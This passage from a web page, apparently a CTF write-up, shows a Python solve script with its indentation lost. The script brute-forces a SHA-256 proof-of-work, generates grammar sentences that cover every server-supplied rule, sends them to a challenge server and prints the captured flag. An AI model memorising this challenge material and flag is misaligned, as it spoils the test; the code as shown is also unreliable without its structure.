if exist WORD, replace it as 'b'
if exist NUMBER, replace it as '1'
if exist DIGIT, replace it as '2'
'''</span>
_<span class="hljs-built_in">dict</span> = {}
MAX_DEPTH = <span class="hljs-number">20</span>
exp_0_cnt = <span class="hljs-number">0</span>
st_0_cnt = <span class="hljs-number">0</span>
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> itertools
<span class="hljs-keyword">import</span> multiprocessing <span class="hljs-keyword">as</span> mp
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> sys
charset = (string.ascii_letters + string.digits).encode()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">worker</span>(<span class="hljs-params">args</span>):</span>
prefix, _posfix, _<span class="hljs-built_in">hash</span> = args
<span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> itertools.product(charset, repeat=<span class="hljs-number">3</span>):
x = <span class="hljs-built_in">bytes</span>((prefix,)+x)
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">hash</span> == hashlib.sha256(x+_posfix).hexdigest():
<span class="hljs-keyword">return</span> x, <span class="hljs-literal">True</span>
<span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>, <span class="hljs-literal">False</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solve_sha256</span>(<span class="hljs-params">m</span>):</span>
_<span class="hljs-built_in">hash</span> = m.decode(<span class="hljs-string">'latin-1'</span>).strip(<span class="hljs-string">'\n'</span>).split(<span class="hljs-string">' '</span>)[-<span class="hljs-number">1</span>]
_posfix = m.strip(<span class="hljs-string">b'\n'</span>).split(<span class="hljs-string">b' '</span>)[<span class="hljs-number">0</span>][<span class="hljs-number">12</span>:-<span class="hljs-number">1</span>]
<span class="hljs-built_in">print</span>(_<span class="hljs-built_in">hash</span>, _posfix)
candidates = [(e, _posfix, _<span class="hljs-built_in">hash</span>) <span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> charset]
<span class="hljs-keyword">with</span> mp.Pool(<span class="hljs-number">10</span>) <span class="hljs-keyword">as</span> pool:
<span class="hljs-keyword">for</span> x, ok <span class="hljs-keyword">in</span> pool.imap_unordered(worker, candidates):
<span class="hljs-keyword">if</span> ok:
<span class="hljs-keyword">return</span> x.decode()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_rule</span>(<span class="hljs-params">_dict, m</span>):</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_statement</span>(<span class="hljs-params">_dict, lines</span>):</span>
<span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> lines:
line = line.replace(<span class="hljs-string">'\"'</span>,<span class="hljs-string">''</span>)
sentence = <span class="hljs-string">''</span>
e_cnt = <span class="hljs-number">0</span>
s_cnt = <span class="hljs-number">0</span>
tokens = line.split(<span class="hljs-string">' '</span>)
<span class="hljs-keyword">for</span> token <span class="hljs-keyword">in</span> tokens:
<span class="hljs-keyword">if</span> token == <span class="hljs-string">'LETTER'</span>:
sentence += <span class="hljs-string">'a '</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'WORD'</span>:
sentence += <span class="hljs-string">'b '</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'NUMBER'</span>:
sentence += <span class="hljs-string">'1 '</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'DIGIT'</span>:
sentence += <span class="hljs-string">'2 '</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'expression'</span>:
sentence += <span class="hljs-string">'e '</span>
e_cnt += <span class="hljs-number">1</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'statement'</span>:
sentence += <span class="hljs-string">'s '</span>
s_cnt += <span class="hljs-number">1</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'statement:'</span>:
<span class="hljs-keyword">continue</span>
<span class="hljs-keyword">elif</span> <span class="hljs-string">'cov'</span> <span class="hljs-keyword">in</span> token:
number = <span class="hljs-built_in">int</span>(token[<span class="hljs-number">4</span>:])
<span class="hljs-keyword">elif</span> <span class="hljs-built_in">len</span>(token) > <span class="hljs-number">2</span>:
sentence += token + <span class="hljs-string">' '</span>
_<span class="hljs-built_in">dict</span>[number] = {<span class="hljs-string">'sentence'</span>: sentence, <span class="hljs-string">'stateCnt'</span>: s_cnt, <span class="hljs-string">'expCnt'</span>: e_cnt}
<span class="hljs-keyword">return</span> _<span class="hljs-built_in">dict</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_expession</span>(<span class="hljs-params">_dict, lines</span>):</span>
<span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> lines:
line = line.replace(<span class="hljs-string">'\"'</span>,<span class="hljs-string">''</span>)
sentence = <span class="hljs-string">''</span>
cnt = <span class="hljs-number">0</span>
tokens = line.split(<span class="hljs-string">' '</span>)
<span class="hljs-keyword">for</span> token <span class="hljs-keyword">in</span> tokens:
<span class="hljs-keyword">if</span> token == <span class="hljs-string">'LETTER'</span>:
sentence += <span class="hljs-string">'a'</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'WORD'</span>:
sentence += <span class="hljs-string">'b'</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'NUMBER'</span>:
sentence += <span class="hljs-string">'1'</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'DIGIT'</span>:
sentence += <span class="hljs-string">'2'</span>
<span class="hljs-keyword">elif</span> token == <span class="hljs-string">'expression'</span>:
sentence += <span class="hljs-string">'e'</span>
cnt += <span class="hljs-number">1</span>
<span class="hljs-keyword">elif</span> token <span class="hljs-keyword">in</span> <span class="hljs-string">"!@#$%^&*-+~"</span>:
sentence += token
<span class="hljs-keyword">elif</span> <span class="hljs-string">'cov'</span> <span class="hljs-keyword">in</span> token:
number = <span class="hljs-built_in">int</span>(token[<span class="hljs-number">4</span>:])
sentence = <span class="hljs-string">' '</span>.join(sentence)
_<span class="hljs-built_in">dict</span>[number] = {<span class="hljs-string">'sentence'</span>: sentence, <span class="hljs-string">'stateCnt'</span>: <span class="hljs-number">0</span>, <span class="hljs-string">'expCnt'</span>: cnt}
<span class="hljs-keyword">return</span> _<span class="hljs-built_in">dict</span>
lines = m.split(<span class="hljs-string">'\n'</span>)
_<span class="hljs-built_in">dict</span> = parse_expession(_<span class="hljs-built_in">dict</span>, lines[<span class="hljs-number">10</span>:<span class="hljs-number">60</span>])
_<span class="hljs-built_in">dict</span> = parse_statement(_<span class="hljs-built_in">dict</span>, lines[<span class="hljs-number">60</span>:<span class="hljs-number">160</span>])
<span class="hljs-keyword">return</span> _<span class="hljs-built_in">dict</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solve</span>(<span class="hljs-params">_dict</span>):</span>
<span class="hljs-keyword">global</span> exp_0_cnt, st_0_cnt
tot = <span class="hljs-number">0</span>
ans = []
record = <span class="hljs-built_in">set</span>()
big_record = <span class="hljs-built_in">set</span>()
exp_0 = []
st_0 = []
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_statement</span>(<span class="hljs-params">s, _dict, tot, ans, depth</span>):</span>
<span class="hljs-comment"># pause()</span>
<span class="hljs-keyword">global</span> exp_0_cnt
<span class="hljs-keyword">global</span> st_0_cnt
depth += <span class="hljs-number">1</span>
tot += s[<span class="hljs-string">'stateCnt'</span>] + s[<span class="hljs-string">'expCnt'</span>]
ans = ans.replace(<span class="hljs-string">' s '</span>, <span class="hljs-string">' '</span> + s[<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
<span class="hljs-comment"># print(ans)</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(s[<span class="hljs-string">'stateCnt'</span>]):
<span class="hljs-keyword">if</span>(tot > <span class="hljs-number">20</span>) <span class="hljs-keyword">or</span> (depth >= MAX_DEPTH):
<span class="hljs-comment"># print(st_0_cnt)</span>
record.add(st_0_cnt)
ans, tot = add_statement(_<span class="hljs-built_in">dict</span>[st_0_cnt], _<span class="hljs-built_in">dict</span>, tot, ans, depth)
st_0_cnt = random.choice(st_0)
<span class="hljs-keyword">else</span>:
num = random.randint(<span class="hljs-number">51</span>, <span class="hljs-number">149</span>)
<span class="hljs-comment"># print(num)</span>
record.add(num)
ans, tot = add_statement(_<span class="hljs-built_in">dict</span>[num], _<span class="hljs-built_in">dict</span>, tot, ans, depth)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(s[<span class="hljs-string">'expCnt'</span>]):
<span class="hljs-keyword">if</span>(tot > <span class="hljs-number">20</span>) <span class="hljs-keyword">or</span> (depth >= MAX_DEPTH):
<span class="hljs-comment"># print(exp_0_cnt)</span>
record.add(exp_0_cnt)
ans, tot = add_expression(_<span class="hljs-built_in">dict</span>[exp_0_cnt], _<span class="hljs-built_in">dict</span>, tot, ans, depth)
exp_0_cnt = random.choice(exp_0)
<span class="hljs-keyword">else</span>:
num = random.randint(<span class="hljs-number">0</span>, <span class="hljs-number">49</span>)
<span class="hljs-comment"># print(num)</span>
record.add(num)
ans, tot = add_expression(_<span class="hljs-built_in">dict</span>[num], _<span class="hljs-built_in">dict</span>, tot, ans, depth)
<span class="hljs-keyword">return</span> ans, tot
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_expression</span>(<span class="hljs-params">s, _dict, tot, ans, depth</span>):</span>
<span class="hljs-comment"># pause()</span>
<span class="hljs-keyword">global</span> exp_0_cnt
depth += <span class="hljs-number">1</span>
tot += s[<span class="hljs-string">'expCnt'</span>]
ans = ans.replace(<span class="hljs-string">' e '</span>, <span class="hljs-string">' '</span> + s[<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
<span class="hljs-comment"># print(ans)</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(s[<span class="hljs-string">'expCnt'</span>]):
<span class="hljs-keyword">if</span>(tot > <span class="hljs-number">20</span>) <span class="hljs-keyword">or</span> (depth >= MAX_DEPTH):
<span class="hljs-comment"># print(exp_0_cnt) </span>
record.add(exp_0_cnt)
ans, tot = add_expression(_<span class="hljs-built_in">dict</span>[exp_0_cnt], _<span class="hljs-built_in">dict</span>, tot, ans, depth)
exp_0_cnt = random.choice(exp_0)
<span class="hljs-keyword">else</span>:
num = random.randint(<span class="hljs-number">0</span>, <span class="hljs-number">49</span>)
<span class="hljs-comment"># print(num)</span>
record.add(num)
ans, tot = add_expression(_<span class="hljs-built_in">dict</span>[num],_<span class="hljs-built_in">dict</span>, tot, ans, depth)
<span class="hljs-keyword">return</span> ans, tot
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">findUsefulstatement</span>(<span class="hljs-params">_dict, ans</span>):</span>
<span class="hljs-keyword">for</span> el <span class="hljs-keyword">in</span> ans:
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">50</span>, <span class="hljs-number">150</span>):
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'stateCnt'</span>] == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'expCnt'</span>] == <span class="hljs-number">0</span>:
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'sentence'</span>] <span class="hljs-keyword">in</span> el:
<span class="hljs-keyword">return</span> i, el
<span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>, <span class="hljs-literal">None</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">findUsefulexpression</span>(<span class="hljs-params">_dict, ans</span>):</span>
<span class="hljs-keyword">for</span> el <span class="hljs-keyword">in</span> ans:
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">50</span>):
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'stateCnt'</span>] == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'expCnt'</span>] == <span class="hljs-number">0</span>:
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'sentence'</span>] <span class="hljs-keyword">in</span> el:
<span class="hljs-keyword">return</span> i, el
<span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>, <span class="hljs-literal">None</span>
<span class="hljs-comment"># Find out expression which doesn't has any expression inside.</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">50</span>):
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'expCnt'</span>] == <span class="hljs-number">0</span> :
exp_0.append(i)
<span class="hljs-comment"># Find out statement which doesn't has any statement or expression inside.</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">50</span>, <span class="hljs-number">150</span>):
<span class="hljs-keyword">if</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'expCnt'</span>] == <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> _<span class="hljs-built_in">dict</span>[i][<span class="hljs-string">'stateCnt'</span>] == <span class="hljs-number">0</span> :
st_0.append(i)
table = []
record = <span class="hljs-built_in">set</span>()
tot = <span class="hljs-number">0</span>
<span class="hljs-comment"># get random valid sentence</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>((<span class="hljs-number">4096</span> - <span class="hljs-number">150</span>)):
record = <span class="hljs-built_in">set</span>()
tot = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span> <span class="hljs-built_in">len</span>(record) < <span class="hljs-number">20</span>:
record = <span class="hljs-built_in">set</span>()
tot = <span class="hljs-number">0</span>
sentence, tot = add_statement(_<span class="hljs-built_in">dict</span>[random.randint(<span class="hljs-number">50</span>,<span class="hljs-number">149</span>)], _<span class="hljs-built_in">dict</span>, <span class="hljs-number">0</span>, <span class="hljs-string">' s '</span>, <span class="hljs-number">0</span>)
<span class="hljs-keyword">if</span> (<span class="hljs-string">' e'</span> <span class="hljs-keyword">in</span> sentence) <span class="hljs-keyword">or</span> (<span class="hljs-string">' s'</span> <span class="hljs-keyword">in</span> sentence):
tot = <span class="hljs-number">0</span>
record = <span class="hljs-built_in">set</span>()
<span class="hljs-keyword">elif</span> record <span class="hljs-keyword">in</span> table:
tot = <span class="hljs-number">0</span>
record = <span class="hljs-built_in">set</span>()
table.append(record)
big_record = big_record.union(record)
ans.append(sentence[<span class="hljs-number">1</span>:])
<span class="hljs-comment"># check how many con_num have we get.</span>
<span class="hljs-built_in">print</span>(<span class="hljs-built_in">len</span>(big_record))
<span class="hljs-comment"># get miss list</span>
miss = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">150</span>):
<span class="hljs-keyword">if</span> (i <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> big_record):
miss.append(i)
<span class="hljs-comment"># print out miss list</span>
<span class="hljs-keyword">for</span> el <span class="hljs-keyword">in</span> miss:
<span class="hljs-built_in">print</span>(el, _<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'stateCnt'</span>], _<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'expCnt'</span>])
<span class="hljs-comment"># find useful statement and useful expression for patching</span>
usefulstIdx, usefulstSentence = findUsefulstatement(_<span class="hljs-built_in">dict</span>, ans)
usefulexpIdx, usefulexpSentence = findUsefulexpression(_<span class="hljs-built_in">dict</span>, ans)
<span class="hljs-comment"># patch</span>
<span class="hljs-keyword">for</span> el <span class="hljs-keyword">in</span> miss:
<span class="hljs-keyword">if</span> el > <span class="hljs-number">49</span>:
target_sentence = usefulstSentence.replace(<span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[usefulstIdx][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(_<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'stateCnt'</span>]):
target_sentence = target_sentence.replace(<span class="hljs-string">' s '</span>, <span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[usefulstIdx][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(_<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'expCnt'</span>]):
target_sentence = target_sentence.replace(<span class="hljs-string">' e '</span>, <span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[usefulexpIdx][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
ans.append(target_sentence)
<span class="hljs-keyword">else</span>:
target_sentence = usefulexpSentence.replace(<span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[usefulexpIdx][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(_<span class="hljs-built_in">dict</span>[el][<span class="hljs-string">'expCnt'</span>]):
target_sentence = target_sentence.replace(<span class="hljs-string">' e '</span>, <span class="hljs-string">' '</span> + _<span class="hljs-built_in">dict</span>[usefulexpIdx][<span class="hljs-string">'sentence'</span>] + <span class="hljs-string">' '</span>, <span class="hljs-number">1</span>)
ans.append(target_sentence)
<span class="hljs-comment"># use random to generate least sentence</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>((<span class="hljs-number">150</span> - <span class="hljs-built_in">len</span>(miss))):
record = <span class="hljs-built_in">set</span>()
tot = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span> <span class="hljs-built_in">len</span>(record) < <span class="hljs-number">20</span>:
record = <span class="hljs-built_in">set</span>()
tot = <span class="hljs-number">0</span>
sentence, tot = add_statement(_<span class="hljs-built_in">dict</span>[random.randint(<span class="hljs-number">50</span>,<span class="hljs-number">149</span>)], _<span class="hljs-built_in">dict</span>, <span class="hljs-number">0</span>, <span class="hljs-string">' s '</span>, <span class="hljs-number">0</span>)
<span class="hljs-keyword">if</span> (<span class="hljs-string">' e'</span> <span class="hljs-keyword">in</span> sentence) <span class="hljs-keyword">or</span> (<span class="hljs-string">' s'</span> <span class="hljs-keyword">in</span> sentence):
tot = <span class="hljs-number">0</span>
record = <span class="hljs-built_in">set</span>()
<span class="hljs-keyword">elif</span> record <span class="hljs-keyword">in</span> table:
tot = <span class="hljs-number">0</span>
record = <span class="hljs-built_in">set</span>()
table.append(record)
big_record = big_record.union(record)
ans.append(sentence[<span class="hljs-number">1</span>:])
<span class="hljs-keyword">return</span> ans
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
y = remote(<span class="hljs-string">'121.5.253.92'</span>,<span class="hljs-number">10001</span>)
msg = y.recvline()
<span class="hljs-comment"># solve sha256</span>
answer = solve_sha256(msg)
y.sendlineafter(<span class="hljs-string">'XXXX:'</span>, answer)
msg = y.recvuntil(<span class="hljs-string">'EOF'</span>)
<span class="hljs-comment"># parse rule to _dict</span>
_<span class="hljs-built_in">dict</span> = parse_rule(_<span class="hljs-built_in">dict</span>, msg.decode(<span class="hljs-string">'latin-1'</span>))
<span class="hljs-comment"># solving...</span>
ans = solve(_<span class="hljs-built_in">dict</span>)
<span class="hljs-comment"># change ans to remote format</span>
ans = <span class="hljs-string">b'|'</span>.join([el.encode(<span class="hljs-string">'latin-1'</span>) <span class="hljs-keyword">for</span> el <span class="hljs-keyword">in</span> ans])
ans = zlib.compress(ans)
length = <span class="hljs-built_in">len</span>(ans)
ans = ans.<span class="hljs-built_in">hex</span>()
ans = ans.encode(<span class="hljs-string">'latin-1'</span>)
y.sendlineafter(<span class="hljs-string">'size: '</span>, <span class="hljs-built_in">str</span>(length))
y.sendlineafter(<span class="hljs-string">'code(hex): '</span>, ans)
y.interactive()
<span class="hljs-comment"># flag{Di3_G7enzen_mEiNer_5prache_beDeuTeN_dIe_GrenzEn_meinEr_Welt}</span></code></pre> </article>
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